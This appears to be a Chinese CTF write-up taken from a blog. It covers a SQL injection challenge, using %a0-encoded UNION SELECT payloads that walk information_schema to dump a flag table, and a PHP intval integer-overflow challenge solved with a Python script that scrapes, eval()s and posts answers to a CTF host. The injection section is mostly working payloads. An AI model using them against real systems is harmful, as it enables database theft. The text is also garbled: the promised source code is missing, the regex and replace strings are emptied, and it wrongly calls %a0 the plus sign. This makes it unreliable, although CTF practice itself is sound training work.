这道题过滤了空格,但是可以使用url编码来绕过,这里我们可以使用%a0,也就是加号来绕过。
编码:1%27%a0union%a0select%a01,2,3%27#
很明显可以查出是三列。
编码:id=1%27%a0union%a0select%a01,(SELECT%a0GROUP_CONCAT(SCHEMA_NAME)%a0FROM%a0information_schema.SCHEMATA),3%271
推断出这个库名是flaaaaaaag
编码:id=1%27%a0union%a0select%a01,(SELECT%a0GROUP_CONCAT(table_name)%a0FROM%a0information_schema.tables%a0where%a0table_schema=%22flaaaaaaag%22),3%27
编码:id=1%27%a0union%a0select%a01,(SELECT%a0GROUP_CONCAT(column_name)%a0FROM%a0information_schema.columns%a0where%a0table_name=%22f144444444g%22),3%27
编码:id=1%27%a0union%a0select%a01,(SELECT%a0GROUP_CONCAT(th1s_1s_flag)%a0FROM%a0flaaaaaaag.f144444444g),3%27
首先看网页源代码。第一反应就是CTF中常有的BAK文件。于是直接下载index.php.bak文件。
拿到源码:
我们知道int型最大的取值范围就是2^31次方,(无符号)。这里PHP使用了intval函数来防止整数溢出的危害。
在32位机器和64机器上的运行结果也是不一样的。
PHP脚本:
输出结果为:9223372036854775807
#!/usr/bin/env python
import requests
import re
import time
s = requests.Session()
html = s.get(url="http://ctfgame.acdxvfsvd.net:20004/index.php")
while 1:
pattern = "(.*?)"
ss = re.findall(pattern,html.text)
calc = ""
for i in range(0,len(ss)-1):
calc = calc+ ss[i].replace("","").replace("","")
number1 = '9223372036854775807+'
result = eval(number1+calc)
print result
data = {
'input':'4200000000000000000000',
'ans':result
}
html=s.post("http://ctfgame.acdxvfsvd.net:20004/index.php",data)
print html.text
time.sleep(2)
转载请声明:CSDN程序小黑:https://mp.csdn.net/mdeditor/84472145#